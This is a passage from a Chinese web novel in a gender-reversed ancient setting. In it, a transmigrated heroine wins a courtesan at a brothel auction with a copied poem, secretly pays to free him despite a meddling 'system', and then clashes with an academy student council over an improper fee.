他两眼放光的夸赞了一车的话,一叠声的催小二在二楼加桌子,亲自引她们上楼,还立刻让乐师换曲子,“奏《将进酒》!”
“我们逢春楼填了《将进酒》和《春江花月夜》的曲子,一会儿请二位少娘指教一二。”
晏无辛高兴得应着,下巴都快扬到天上了。陆锦澜却百感交集,她知道自己最近有点名气,可没想到已经到了家喻户晓的程度。可想而知,今晚逛青楼的事儿也必定传出去,她这个风流的标签怕是撕不掉了。
得,不能白担了虚名。
陆锦澜把心一横,昂首阔步的上楼。一路上不时有人向她们拱手,陆锦澜微微点头,落座前朝四周拱了拱手,算是还礼。
晏无辛得意的撞了下她的肩膀,“今晚的客人不乏达官显贵,而且神京人很排外的,她们能对你这个云州才女如此恭敬,你算是在京城混出名头了。”
陆锦澜淡淡的瞥了她一眼,阴阳道:“那是不是得感谢你,替我扬名?”
晏无辛嘿嘿一笑,“好文共赏,此等佳作,嬅国文坛都为之一震,我怎可独览?”
陆锦澜喝了口茶,没说话。
晏无辛忽道:“你不怪我吧?”
“嗯。”
“我不是说传诗文的事。”
陆锦澜不解:“还有什么事?”
晏无辛抿了抿唇,颇为心虚道:“那天在考场,我……我动作慢了,你不怪我吧?”
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“哦,你说那件事?”陆锦澜笑道:“多亏你及时把院长请来,不然事情不知道会发展成什么样呢。”
晏无辛叹了口气,“其实我应该早就站出来的,我承认一开始我怕了。我没见过这场面,你站起来的时候,我大脑一片空白,想了很多乱七八糟的,耽误了时间。唉,说起来真是奇怪。京城卧虎藏龙,可我从小到大除了我娘我姐就没服过谁。你和如蓁,是我遇到的最特别的人。”
陆锦澜莞尔,“不必说了,我知道你的难处。你在一群神京考生中间,就算两不相帮,我也不会怪你。”
晏无辛无奈的一笑,“出手晚我已经够愧疚了,两不相帮我还配做你们的朋友吗?我跟你保证,以后不论发生什么,我一定第一时间跟你们站在一起,绝不犹豫。”
说话间,乐声停了,老板夫主持花郎大选正式开始。
只见他拍了拍手,十位色艺双绝的小公子依次走上台,或歌或舞,极力展示自己的风采。
第一位小公子先声夺人,上来又唱又跳,一双圆溜溜的大眼睛,灵动极了。
晏无辛看着欢喜,“你觉得一号怎么样?”
陆锦澜:“就那样吧,歌舞不错。相貌嘛,跟我家庆儿差不多。”
“啧啧,炫耀什么?”
陆锦澜无奈的摇头,“没炫耀,我不喜欢这款的。”
“我喜欢,我身边就缺一个这样的。一会我投这个,你都有庆儿了,别和我抢。”
陆锦澜:“我和庆儿就是主仆关系,不是你想的那样。”
晏无辛冷哼了一声,“庆儿要是不喜欢你,你把我眼珠子挖出去当下酒菜。”
陆锦澜沉默片刻,只道:“活泼温顺的不适合我,我喜欢特别的。”
晏无辛不以为然,“男人有什么特别的?脱了衣服都一个样。”
“……”陆锦澜深吸一口气,一时语塞。
穿书两个多月了,她还在努力适应中。
恍惚间她想到了那日偶遇的白衣公子,似乎只有那种贴合她审美,有独特灵魂的人,才能让她心动。然而,陆锦澜很快被打脸。因为台上出现了一个人,也很贴合她的审美。
这位公子是最后一位表演者,容貌硬朗,身型宽阔,颀长的身姿透着一股成熟淡然的气质。鼻梁高挺,眉宇间忧郁深沉,眼底的寒凉与这热情似火的逢春楼格格不入。
陆锦澜饮了口茶,“这个十号,有点儿意思。”
晏无辛看了一眼,摇了摇头,“怎么板着个脸?像不情愿似的,怪怪的。”
陆锦澜笑而不语,在这种地方,做这种职业,欢欢喜喜才奇怪吧?
这位公子的才艺也不是寻常歌舞,他手持一把长剑半壶清酒缓步上台。一仰头酒入愁肠,乐师随之奏起了《将进酒》。他执剑起舞,漂亮的剑招顿时博得了一阵喝彩。
“呦,这一看就是练过的。”晏无辛眼神微变,从怀里摸出一沓银票放到陆锦澜面前,“这个人有点扎眼,你的竞争对手不会少的。看见他们腰带上缠着的那截金丝带了吗?你得出价最高,才能归你。”
陆锦澜暗想:反正不花我的钱,我也体验一把榜一大佬的快乐,收集个周边玩玩。
她此刻,丝毫没有意识到问题的严重性。
16. 第 16 章
十位小公子表演完毕,老板夫拎着一面铜锣再度登场。走的是拍卖流程,公子们按照出场顺序一一上前,楼上楼下的恩客开口出价,价高者得。
晏无辛花了三千两,拍中一号。一号小公子立刻快步上楼,带着三分羞怯七分欢喜,笑吟吟的站在晏无辛面前,“请少娘亲手解带。”
晏无辛拽下他腰上那截金丝带,看了眼上面绣的名字:“方卿,好名字。”
方卿不语,只是低头浅笑。
晏无辛拉着他的手腕,让他坐在身侧。方卿训练有素,立刻拿起酒壶给她斟酒,还给陆锦澜也倒了一杯。
陆锦澜两辈子第一次逛青楼,第一次见识到这种场面,尤其是两人在她面前眉来眼去动手动脚的,她简直都不知道眼睛看哪好了。
拍卖还在继续,陆锦澜一直没有出价,只是喝着酒,时不时的往楼下瞧一眼,却偶然撞见了朝她投来的目光。
十号,那位气质卓然会舞剑的公子,用他那双忧郁漂亮的眼睛仰望着她。
陆锦澜心神一晃,摸过晏无辛的扇子扇了扇,忍不住打听:“方公子,你知不知道十号叫什么名字?”
方卿正给晏无辛按揉着肩膀,闻言抻着脖子往楼下瞥了一眼,“他啊,叫楼雨眠。”
晏无辛微微睁开眼,“姓楼?是不是前月获罪的楼大人的家眷?”
方卿:“正是,楼大人因大不敬而获罪,楼家上下都跟着遭殃。女的全部流放到偏远苦寒的长洲,男的自然是被卖到青楼了。雨眠是楼大人的庶子,侧夫所生。我听说他爹早逝,楼大人是很疼他的,可一出事,也顾不上了。”
陆锦澜不由叹道:“真是可怜。”
方卿笑了笑,“陆少娘若可怜他,就拍了他吧。雨眠不仅会剑术,还爱读书,你的诗文他倒背如流,他还读了你的策论,对您仰慕至极。”
晏无辛瞥了方卿一眼,语带含酸的问:“那你呢?你也仰慕锦澜吗?”
送命题,连陆锦澜都替方卿感到为难,调侃道:“无辛,你这是什么问题?咱们两个都在这儿,你让人家怎么回答?”
晏无辛摆了摆手,颇有兴致道:“我偏要听他的回答。”
方卿垂眸一笑,从容开口:“陆少娘名满京城,此等大才,多少富家公子都为之心折,青楼之中更不乏仰慕者。但方卿与旁人不同,我是个蠢人,我不识字。我仰慕的人是对我另眼相看,为我一掷千金的……”
他说着环住晏无辛的腰,在她耳边低语:“你。”
陆锦澜暗自佩服,怪不得人家能参加花郎大选,有点本事。
几句话八面玲珑左右逢源,夸了陆锦澜,向晏无辛表明了心意,还带出几分惹人怜爱的模样。连撩人的动作都做得那般自然,要不是陆锦澜亲眼所见,真不敢相信这俩人刚认识。
晏无辛果然对这个回答很满意,脸上漾起满足的笑意,勾着方卿的下巴亲了一下。
陆锦澜叹息着移开目光,感觉自己更像个古人。
终于快到楼雨眠了,前面九位小公子,价格最高的是六号七千两。楼雨眠只要拍出七千零一两的价格,便能当选今年的花郎。
陆锦澜看着他时不时投来的目光,决心做一回惜花之人。
她先数出八千两银票,锣声一响,老板夫道:“十号小公子,一千两起拍,请各位恩客出价。”
陆锦澜立刻应声:“八千两。”
“哇!”众人一片哗然。
见晏无辛看过来,陆锦澜忙道:“算我借的,回头还你。”
“啧,什么还不还的。我的就是你的,姐妹有钱一起花。”
方卿调笑道:“果然是姐妹如手足,男人如衣服。”
晏无辛捏了捏他的手,“你是我最喜欢的衣服。”
说笑间,老板夫已经准备敲锣了,楼雨眠正要往楼上走,忽听有人高喊:“九千两!”
“哎呦!”全场顿感震惊,都道:“今天是什么日子?财神下凡了?”
叫价的人就在陆锦澜旁边那桌,从她的角度看过去,只能看到一张侧影。那人看起来也不过十七八岁,五官凌厉腰背笔挺,一身上位者的气质。
陆锦澜不甘示弱,“一万两。”
老板夫乐得跟什么似的,万万没想到今晚的重头戏在这儿。
“一万两,这可破了历届花郎大选的纪录了。陆少娘出价一万两,还有人加价吗?”
“一万一千两!”
陆锦澜皱眉,旁边那人好像跟她杠上了,也不知是真的喜欢楼雨眠,还是就想抢她喜欢的。
晏无辛看热闹不心疼钱,“加价,谁怕谁啊!”
陆锦澜:“一万两千两!”
两人谁也不让,几轮过后,陆锦澜咬牙加到了一万七千两。
那人对老板夫道:“我出门没带那么多银票,只有一万六千两。不过,我这儿有一枚稀世奇珍夜明珠,少说也得值十万两,我把这个押上。怎么样?陆少娘,你还能加价吗?”
那人的近侍捧着夜明珠向全场展示,陆锦澜犹豫间,晏无辛拽了拽她的袖子,低声道:“不妙,这颗夜明珠好像是给宫里进贡的东西,这人八成是皇家的人。”
陆锦澜本来都要放弃了,一听皇家的人又来了斗志。王侯将相宁有种乎?都跑到青楼里来抢男人了,谁比谁高贵?
她对晏无辛道:“不知者不罪,咱就当不知道。”
陆锦澜说着站起身,对老板夫道:“我也没带那么多银票,不过诸位是知道的,在下擅长诗赋。我愿献诗一首,至于能抵多少两银子,就由楼公子来裁定,如何?”
老板夫还没应声,众人已经抢着鼓掌叫好,场内一阵喧腾。
老板夫立刻着人铺纸研墨,陆锦澜大步上前,略一思索,提笔写到:《琵琶行》——梦会白居易偶得一作。
陆锦澜想:那位靠着皇家身份出手就是稀世珍宝,我身为穿越者自然不遑多让。这种时候,当然抄书了。大家都是天龙人,各有各的无敌,至于结果如何,就让楼公子自己选择。
刚略一思索的时候,她是在想,抄哪首更应景。逢春楼声色犬马之地,这些小公子是沦落风尘之人,当即便想了《琵琶行》。
当然了,为了符合当下的时代背景,不得已做了些改动。
把“自言本是京城女”,改成“自言本是京城男”。诸如此类的还有“妆成每被秋郎妒”,“姊走从军阿叔死”,“老大嫁作
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商人夫”……
她写一句,围观的人向后传诵一句。大家纷纷议论着,赞声叹声交织在一起。待写到“同是天涯沦落人,相逢何必曾相识”一句时,连传诗的人都哽咽起来。
陆锦澜抬眸一看,不仅小公子们凄然哽咽,连老板夫都落下几滴老泪。逢春楼这等春意盎然的地界,仿佛霎时入了秋,萧瑟起来。
方卿红着眼呢喃道:“真是奇怪,我明明不通诗文,却不知道为什么,感觉很悲伤似的。”
楼雨眠眼底盛满悲凉,沉默不语。
陆锦澜写完最后一个字,在众人喝彩声中搁下笔。
老板夫忙问:“雨眠,你以为陆少娘这篇诗文和夜明珠相比,如何?”
楼雨眠沉声道:“夜明珠价值万金,但陆少娘的诗文……无价。”
“哦!”众人一脸了然的样子,硬是从楼雨眠清冷的脸上品出几分情意,嘴角都翘了起来。
老板夫当即宣布:“逢春楼今岁花郎大选头名楼雨眠,第一恩客陆锦澜。”
“好!”晏无辛带头叫好。
楼雨眠走到陆锦澜身边施了一礼,低声道:“请陆少娘亲手解带。”
陆锦澜学着晏无辛的样子,一把拽下他腰上那截金丝带,上面果然绣着他的名字。
众人又是一阵起哄,陆锦澜莫名有些脸热。偏偏楼雨眠不似方卿那样八面玲珑,也跟她一样木然的站着。两个人愣愣的杵在那儿,相对红了脸。
晏无辛看不下去,嚷嚷道:“春宵一刻值千金,大家散了吧,别耽误我们回房。”
“回房?”陆锦澜猛地回过神,一把抓住她,“什么意思?”
“什么什么意思?”晏无辛压低了声音,“这是什么地方?宽衣解带是什么意思?别告诉我你不知道。今晚这么多人比着砸钱,难道是为了聊天喝酒?”
陆锦澜:“可我真没想那样……哎呦!”
不等晏无辛说话,系统先给了她一下。
「有便宜不占,有违男频精神,扣十分。」
陆锦澜捂着疼痛的肩膀一脸为难,晏无辛:“怎么了?你怕他们不干净啊?能参选花郎的都是贞洁之男,没接过客的,不信等会儿你检查下守贞砂。”
她说着示意楼雨眠过来,“扶陆少娘回房吧,她有些醉了,你今晚可要好好伺候。”
陆锦澜稀里糊涂的进了卧房,拂开楼雨眠的手,独自坐在书案前,“你去帮我沏杯茶来。”
“好。”
楼雨眠一出门,陆锦澜紧急和系统交涉。
陆锦澜:「我不是可以随心所欲吗?系统凭什么要求我必须睡他?」
客服老太:「你之所以可以随心所欲,是因为你有男频男主的待遇。但男频的随心,随的是色心。随心所欲当然不是清心寡欲,而是纵情纵欲,你见过男频男主在青楼空手而回的吗?」
陆锦澜深吸一口气,「那也不行,我怕生病。」
「你见过男频男主得性病吗?」
「没有。」
「那你也不会。」
陆锦澜陷入长久的沉默,楼雨眠推门进来,“茶来了。”
她忽然灵机一动,他要是不愿意,系统不能怪我吧?
17. 第 17 章
陆锦澜正在筹谋着如何开口,一杯热茶已经塞到她手里,身侧的人突破了安全距离,靠得很近。
陆锦澜不动声色的往后挪了挪,楼雨眠勾了勾唇,“你是第一次来青楼?”
“嗯。”陆锦澜闷声喝茶。
“我也是第一次接客。”
“咳。”陆锦澜呛了口茶,咳得脸红如霞。
楼雨眠无声笑了笑,清冷的五官散去阴霾,犹如窗外的天气,阴云密布之后,终于下了起畅快的雨。
陆锦澜一会看看窗外的雨,一会儿看看窗内的人。
楼雨眠生得别致,像雨中的玫瑰。那双忧郁的眼睛,仿佛永不结束的雨季。锋利的下颚便是带刺的玫瑰,倔强又清高。铜镜里倒影着他的脸,隐约有种潮湿而沦落的美。
感受到她打量的目光,他忍不住问她,“在想什么?”
“你的名字,为什么叫雨眠?”
“我娘说我出生的时候恰逢一场大雨,我只哭了一声就睡着了,所以她给我取名雨眠。”
他说这话的时候,脸上带着温和的笑意,没有一点被家人连累的怨念。
陆锦澜踌躇着开口,“我听说了一点你的故事,今天看你上场的时候,一脸悲壮,实在不像欢场公子。”
楼雨眠苦笑,“那像什么?”
“像被逼着上战场的战士。”
楼雨眠垂下眼眸,“这里的爹爹说,我没有卖笑的天赋,只能趁青春年少有一副好皮囊赚点钱。最终下场大约就是你诗里写的那样,门前冷落鞍马稀,老大嫁做商人夫。”
陆锦澜忙道:“别上诗文的当,太悲观了,以后的事不知道怎么样呢。我知道你是身不由己,今晚我不会强迫你做任何事。”
楼雨眠连连摇头,“不,我在风尘之中,今晚以后都要过身不由己的日子,可唯独今晚我是情愿的。”
陆锦澜:“……”
我的主角光环这么强大吗?
客服老太:「人家情愿,你还有什么理由推脱?」
陆锦澜:「到亥时了,你下班吧,不要你管。」
客服老太:「系统任务已经触发了,我下班你也得做。」
「做做做,没说不做,别催了。」
陆锦澜心头烦躁,男人跪在她身侧,试探着握住她的指尖,字字恳切,“谢谢你选我,不然我真不知道今晚要怎么过。我会好好伺候你的,虽然我没有什么天赋,但这里教得我都学会了,我学得很好。只是不想被那些庸俗的客人注意,才假装笨笨的。我可以做得很好,你相信我。”
他说着便解开了外衫,陆锦澜连忙按住他的手,“别这样。”
他声音微颤,哑声解释:“我只是想给你看守贞砂,我是干净的。”
陆锦澜心头一震,她俯视着卑微的祈求她怜爱的男人,那双忧郁的眼睛仿佛一字一句的诉说着“不要嫌弃我”。温润的指尖抚过他的眼角,一种难以言说的情愫涌上心头,她微微俯身,吻住他微凉的唇。
楼雨眠一怔,似乎连呼吸都忘了。
陆锦澜笑着捏了捏他的脸,“是假装笨笨的吗?怎么看起来像真的?”
楼雨眠陷入尴尬得自我反省,心跳如鼓,咚咚咚吵得他忘了反应。
再度抬眸,陆锦澜已经倚在床头,她拍了拍身侧的位置,“雨眠,过来。”
夏夜的雨来得格外急,倏尔急促得乱了章法,倏尔绵长温存小心翼翼。
当暴雨惊雷渐渐止住,屋内的喘息也渐渐平缓。
陆锦澜兴奋过后进入短暂的疲倦,眯了一会,再次睁眼开,窗外依旧淅淅沥沥,身侧温热的躯体紧靠着她,结实的手臂横在腰间,贪恋得抱着她。
见她醒了,男人忙问:“冷吗?”
“不冷,你怎么不睡?”
他沉默片刻,婉转的回答:“不想一睁眼就看见天亮。”
陆锦澜心头一软,抚摸着他的眉眼,声音温柔:“有什么是我能为你做的吗?”
楼雨眠闻言眼眶湿润,“有你这句话,便足够了。我知道你是个重情重义的英雌人物,会为了朋友奋不顾身赴汤蹈火。可我这样的出身,不敢奢求你的任何眷顾。有此一晚,死而无憾。唯一奢望的……便是雨季再来的时候,你还能想起我。”
他握住陆锦澜的手,“再下雨的时候,你还会记得我吗?”
陆锦澜笃定的回答:“当然,我永远不会忘记你的。”
楼雨眠笑着摇头,“我猜这句话你对很多男人说过,但我听到还是会高兴。”
陆锦澜不解,“我没有很多男人,至少现在没有。”
楼雨眠不信,“天下谁人不知你是风流才女?就算你没成婚,无名分的露水情缘怕是不少吧。不然那些诗是怎么来的?说什么梦会,不就是幽会吗?”
“诗?大家原来这么想?怪不得……”陆锦澜恍然大悟。
她一直奇怪,她就是比别人多瞄几眼男人而已,怎么人人都说她风流?原来大家都误会了,以为那些诗都是幽会的纪念。她习惯在诗作上标注原作者,写为“梦会某某偶得一作”。
她设想的梦是她和原作者坐着谈天说地,没想到大家都以为她是和那人躺着,不知天地为何物。
真是冤枉!虽然,此时此刻也不怎么冤了。
楼雨眠在她颈间蹭了蹭,低声恳求:“你给我也写一句吧。一句就好,我绝不张扬,留着自己赏鉴。”
陆锦澜笑道:“我告诉你个秘密,我只有梦里得来的诗是好诗,醒着自己写的不怎么样。”
“你写的就是好诗,我说的。”
见他如此央求,陆锦澜只好坐起身,“拿笔墨来。”
其实,当她见到楼雨眠的第一眼,便感觉到他一定有自己的故事。当她真听了他的故事,又暗自感叹人生境遇无常变幻。此刻她不假思索,提笔将他不愿诉说的忧愁写在纸上。
昏黄幽暗的烛火旁,楼雨眠自背后抱着她,手上拢着的外衫将两人裹住,“真写给我?”
“是,为你而作。”
楼雨眠眼中闪过一丝欣喜,见她笔下写道:已入红尘若许年,今朝方晓人世艰。眉间无限伤心事,夜倚危楼听雨眠。
题为《初逢雨眠》,写上日期,还盖上了印鉴。
楼雨眠一惊:“你不怕我拿给别人看?”
陆锦澜认真道:“我是怕你拿给别人看,人家不信,所以留下印鉴,免得你无凭据受委屈。”
楼雨眠愣在那儿,眼泪和笑意同时涌现在脸上,“你真是……大英雌本色,敢做敢当第一人。”
“怎么哭了?”陆锦澜笑着拭去他脸上的泪痕,故意逗他,“时候还早,要不……”
话音未落,人已经扑
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了过来。
在激烈的热吻中,陆锦澜突然收到了系统提醒:「叮!俘获郎心,生命值+9999」。
这是不是说明,他对我动了真感情?
*
第二天早上,陆锦澜和晏无辛一同坐上马车赶回京郊的庄子。
车上,晏无辛昏昏欲睡,陆锦澜虽然也没睡多久,却一丝睡意都没有。
“哎,别睡了,我问你个事儿。”
“嗯?”晏无辛眼睛掀开一条缝。
“你有没有想过帮方卿赎身?”
晏无辛立马坐了起来,“我疯啦?我把一个青楼公子带回家,我娘知道非打死我不可。我家家教很严的,要不是这段时间我娘去了外地,我都没机会来这种地方。你怎么突然说起这个?你想帮楼雨眠赎身?”
陆锦澜立刻狡辩:“我可没有,我说你,你别往我身上扯。”
她已经有经验了,没咨询客服前,贸然说出一些话容易挨揍。她现在很擅长玩语言艺术,被迫谨言慎行。
晏无辛不信,“楼雨眠求你帮他赎身了?”
“没有,他什么都没说,特别乖,乖得让人不忍心。”
“别是欲擒故纵吧?”
“不像。你知不知道他们这种的,赎身要多少银子?”
“几千两吧,最多不到一万两。”
陆锦澜惊叹:“这么便宜?”
“男人嘛,过了初夜不值钱。哎,你真想给他赎身啊?”
陆锦澜谨慎道:“你等我思考一下再回答你。”
她立马去咨询刚上班的客服老太:「如果我给楼雨眠赎身,算不算违背男频精神?」
客服:「不好说,没人这么干过。男频这边不会无故给发生过的关系青楼女子赎身,除非对方有特殊技能,或者有特殊的可利用的身世背景。总的来说,除非你有功利性的目的,否则无故给人赎身,很容易被系统判定为道德感过高责任心过强,严重违背男频精神,一定会痛打你的。」
陆锦澜深吸一口,回答晏无辛:“我不想给他赎身。”
两人回到庄上,一进门正撞见找她们的项如蓁。
“你们昨晚去哪儿了?怎么不在房间里?”
“观星。”
“野钓。”
两人同时开口,给了完全不同的答案。晏无辛连忙综合了一下,再次回答:“一边观星,一边野钓。”
项如蓁诧异,“可昨晚下雨,哪来的星星?”
陆锦澜眨了眨眼:“是啊,下雨看不到星星,也没法钓鱼,所以我们在山洞里将就了一晚。不说了,又打雷又下雨的,一晚上都没睡好,我先回去补觉。”
项如蓁提醒:“明天咱们就要去学院报到了,开学在即,都收收心,别乱跑。”
两人心虚的“嗯”了一声,各自回房。
陆锦澜躺在床上,忍不住想:一夜风流而已,露水情缘,阳光一晒就了无痕迹。
理智告诉她,应该像男人一样,无利不起早,别去做无谓的事。可想起那双忧郁的眼睛,还是让她辗转反侧。
陆锦澜暗自咬牙:我到底不是卑劣的男人。
当晚亥时刚过,晏无辛准备就寝。陆锦澜焦急的推门进来,晏无辛忙问:“怎么了?”
“嘘!”陆锦澜神神秘秘的不让她说话,在她面前举起了一张纸。
18. 第 18 章
晏无辛一看,上面写着:「别说话,小心被人听见。」
晏无辛往四周看了看,“没有人啊,被谁听见?”
陆锦澜急得捂住她的嘴,生怕不小心触发系统反应,她拉着晏无辛到书案前用笔来对话。
陆锦澜写:「别管了,总之不要说话,想说什么就写出来。」
她又给晏无辛看了提前写好的另一张纸:「我拜托你帮我做一件事,尽量保密,不要跟任何人说,最重要的是不能跟我说。」
晏无辛读到这句话,眉头都快拧成结了,在旁边默默的勾了个问号。
陆锦澜又写道:「如果有什么意外情况和必须交流的事,写在纸上,在亥时以后辰时之前交给我。」
这个时间段客服不在,系统没有人工监管,陆锦澜感觉应该可以卡个系统BUG,钻这个漏洞。
她把三万两银票还有最后一张纸塞到晏无辛手里,推着她出门。
晏无辛展开一看,上面写着:「你立刻去逢春楼给雨眠赎身,剩下的钱帮他安顿一下,让他开始新的生活。」
陆锦澜亲眼看着晏无辛点头答应,看着她上了马车,悬着的心终于放下。
她自认对楼雨眠没有动心,只是有几分怜惜。但她实在不忍见他沦落风尘,过那种强颜欢笑的日子。
而且,他喜欢她。陆锦澜在楼雨眠这儿接连达成了“俘获郎身”和“俘获郎心”两项成就,分别加了6666和9999的生命值。
陆锦澜觉得,就冲这个她也该照顾他一下。
两个人是一张床上睡过的关系,那句话怎么说来着?一夜妻夫百日恩。
花一点钱就可以改变一个人的命运,性价比绝佳。所以,哪怕冒着可能被系统判罚的风险,她还是做了。
想到这儿,她不禁又暗自感慨:我到底不是卑劣的男人,我这个女人太他爹的善了。
事情已经做了,她不会再多想。只希望晏无辛一切顺利,楼雨眠从此不必困倚危楼夜不成眠。
*
第二天是该去学院报到的日子,项如蓁一向起的很早,天蒙蒙亮便起床练功,到用早膳的时候才把陆锦澜叫起来。
陆锦澜迷迷糊糊地问:“无辛呢?”
“叶游说她家老娘回来了,无辛昨儿夜里被叫回了大宅,实在无法抽身,一会儿直接去学院和咱们汇合。”
夜里被叫走?也不知道事儿办妥了没有。陆锦澜对晏无辛这个朋友评价很复杂,感觉她时而靠谱时而不着调的。
当然了,晏小少娘只是一个十六岁的小孩儿,陆锦澜也不能要求她多深沉稳重。她自己本身也不是个稳重的性子,真正稳重的另有其人。
项如蓁:“咱俩快点儿吃,一会隋之她们要回去了。无辛不在,咱俩代她去送客,跟大家说明缘由,免得失礼。”
陆锦澜猛灌了半碗粥,“好。”
未被录取的八位考生要回原籍了,被录取的十一人要赶往皇家学院。
大家各自收拾好了行囊,站在门口互相道别。
陆锦澜抱了抱左隋之,“真希望我们还能再见。”
“会的,我有预感,我们一定会再见。到时候你们身在高位,可别装作不认识我。”
大家打趣了几句,叶游来通知她们,马车已经备好。
众人正要动身,忽见几辆马车奋力扬鞭的赶过来。
项如蓁眼尖道:“是久安堂的马车,平掌柜来跟大家道别了。”
自从陆锦澜和同学们到这庄上,平希玉几乎日日都带人过来,送些蔬菜瓜果山珍野味之类的。同学们都和平掌柜混熟了,都知道陆家管事的家人极其周到。
这次平希玉来,又带了几车东西。
“紧赶慢赶,终于赶上了。我代表我家东主,感谢各位对我家少主的照顾,备了一点薄礼,请各位小友笑纳。”
她说着便让陆锦澜把礼物分发给大家,给离京的同学准备的是几包常用药材、补品、神京土仪还有一些点心干粮,都是大家用得上的。
左隋之笑道:“呦,竟然还有药,我们年纪轻,可想不了这么周全,多亏了平掌柜。”
平掌柜笑道:“东西都不重,你们路上带着也方便。这些大件的,是给她们上学用的。有新制的被褥、文房四宝、布匹、还有些日常用具,都是我亲自挑选的,大家也一定用得上。”
众人纷纷道谢,分批上了马车,挥手告别。
人生南北多歧路,君向潇湘我向秦。
陆锦澜正感伤的挥手,平希玉悄悄把她拉到一旁,塞给她一沓银票。
陆锦澜一愣,“这么多?”
“从柜上支取的,过几日我去西州,会把这笔钱跟老东主交待明白。你进了学院,一时半会儿出不来,里面的事我帮不上忙,你要好好照顾自己。少与人冲突,钱能解决的事就用钱解决,陆家不差钱,但少主你可千万不能有任何闪失。”
陆锦澜乐呵呵的收下,正好手里没什么钱了。
平希玉又道:“皇家学院里规矩多,里面多的是有背景有关系的人,遇事不可强出头,凡事忍让几分。有棘手的事儿,等休沐的时候出来告诉我,我一定帮少主解忧。有我在,您什么事都无需担心。”
陆锦澜给她夸张的施了一礼,“知道啦,我娘爹都没你这么紧张,我是去上学,又不是上刑场,能有什么事啊?你回吧,我走了。”
陆锦澜和项如蓁上了马车,平希玉还是忍不住叮嘱几句。
“少主,遇事切莫冲动。”
“项少娘,请多多提点我家少主。”
两人一叠声的应着,在马车上,项如蓁才发现给她的东西多了一个包袱。
“这是什么?”
“哦,你那天不是在久安堂换过衣服吗?庆儿给你洗了补好了。平掌柜知道咱关系亲厚,这次让人给我裁制新衣,顺便也比照着你的尺寸给你做了几套。”
项如蓁垂眸道:“你们费心了。”
“哎,捎带手的事儿。”
项如蓁笑了笑,没有说话。
两人到了学校才知道,多余准备那么多换洗衣物,压根不让穿。
告示墙上挂着密密麻麻好几页纸的《新生须知》,第一条就是新生需购买两套青衿。除休沐日外,在校内必需着青衿。
青衿,也就是校服。陆续赶到的考生,都挤在告示墙附近,吐槽的吐槽,算账的算账。
“学费一学期八两,青衿两套三两,书本费一两,伙食费每月二两,住宿费每月二两,一共是……”
“一共是十六两,”陆锦澜脱口而出,她转身对项如蓁道:“你如果没带够,我这儿有。”
项如蓁掏出钱袋数了数,暗自松了口气,“正好十六两,幸亏把那些猎物都卖了出去,刚好凑够数。”
两人正说着,忽听晏无辛排在队伍里焦急的喊:“锦澜、如蓁,快过来!”
一排六号房还有三个位置,三人一起交费刚好能分到一个宿舍。宿舍是八人间,虽然不知道舍友是谁,但三人能住一起都非常高兴。
三人提着行李乐呵呵的往一零六走,陆锦澜忍不住委婉的问晏无辛:“你昨晚回家了哈,来之前,该办的事都办妥了吗?”
晏无辛嘿嘿一笑,“妥了,我办事,你放心。”
陆锦澜悬着的心彻底放下,想必楼雨眠今早已经开启了新的人生,她也该开启自己的大
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学生活了。
畅快的心情还没持续一刻,就被堵在宿舍区的大门口了。
圆形拱门处横了张桌子,旁边挤满了人。
晏无辛忍不住抱怨:“怎么回事啊?前面动都不动,我手都酸了。”
项如蓁夺过她手里的大包,“我帮你拿。”
陆锦澜见最前面有位相熟的外地同学,喊了一声:“孙乐闻,前面怎么了?”
孙乐闻犹豫了一下挤了出来,低声道:“有几位上一届的学长,说是学生会的,要收每个新生二两银子的宿舍管理费,有几位同学正在和她们理论。”
陆锦澜眉头一皱,“我去看看。”
“不好意思,麻烦让一下。”她拍了拍前面人的肩膀,那人回过头一看是她,突然大声道:“大家让一让,陆锦澜来了!”
人群唰一下分开,如海浪一般让出一条通道。
陆锦澜顿时尴尬起来,她还没想好怎么样,就是想先了解一下情况,没想到名人效应太强大,她被架着,不得不硬着头皮上前主事。
项如蓁和晏无辛连忙跟过来,项如蓁低声提醒:“有话好好说,别冲动,咱们以理服人。”
陆锦澜点了点头,拱手道:“请问几位学长,为什么不让我们进去?”
二年级的学长都穿着校服带着名牌,领头的学生会长叫金一淮,长得像只河豚似的,脸鼓鼓着,上下打量她一眼,不屑道:“你就是陆锦澜啊?知道你爱管闲事,但新生向学生会交宿舍管理费是规矩,年年如此。”
陆锦澜:“年年如此?是学院允许的吗?”
金一淮:“那当然。”
陆锦澜诧异道:“那就奇怪了,既然是学院允许的,《新生须知》上为什么没写这一条呢?怎么不和其他费用一起收取呢?”
金一淮一时语塞,不知该如何回答。副会长韩离忙打圆场道:“宿舍管理的工作由学生会来做,费用便由学生会单独收取。各位学妹不要有情绪,我们做工收费是正常的,何况大家能到皇家学院读书,都不差这二两银子,何必闹得彼此不愉快呢?”
此话一出,有人开始动摇。楚易舒道:“我早就说赶紧交钱进去得了,谁差二两银子我给,别堵在这儿啰嗦了,真麻烦。”
陆锦澜和项如蓁猛地看向她,异口同声道:“你懂什么?”
陆锦澜:“本少娘不差这二两银子,单要争这个理。”
项如蓁:“我知道各位在想什么,我是差这二两银子,但此事跟钱没关系。该给的钱我一定给,不该给的钱,我一文都不会给。我们这群人被誉为嬅国精英,各位将来是要做官的,如果连我们都不问是非黑白糊涂行事,百姓还能指望我们为她们主持公理吗?”
楚易舒低着头不说话,陆锦澜忙道:“说得对!什么宿舍管理费?我看就是巧立名目,你们管理什么?我们有什么需要管理的?”
金一淮:“这个……我们每天严加看管出入人员,防止贼人闯入伤害偷盗,保护大家的安全。”
陆锦澜笑道:“那就不用了!大家都有武艺傍身,哪个贼人敢闯进来?我们不用着各位学长保护,你们不必做无用功,这项费用也就免了。来!大家把桌子挪开,自行入住。”
场面瞬间混乱,眼看着众人要一拥而上,金一淮立刻跳到桌子上抓住陆锦澜的衣襟,“你敢硬闯?”
陆锦澜冷笑一声,“你敢动手?”
项如蓁回头一看两人拉扯着,她薅住金一淮的手臂,和陆锦澜合力把人甩飞了出去。
人群外,几位教职人员正疾步赶来。
只听一声惨叫,金一淮重重的砸在来人身上。
众人深吸一口气,“糟了!”
19. 第 19 章
场面顿时安静,连树上的鸟鸣都显得格外吵闹。
学监苗瑾捂着后脑从地上爬起来,狂躁的大喊:“这是怎么回事?”
陆锦澜忙道:“学生会私自收取费用,不交钱不让我们进宿舍,她们先动手的。”
韩离立刻否认:“我们只是按例收费,是她们硬闯,她们先动手打人的,是不是?”
学生会那几个应声虫连忙附和:“是!”
“胡说!”晏无辛气道:“明明是你们先动手的,大家都看见了,我们都可以作证,对不对?”
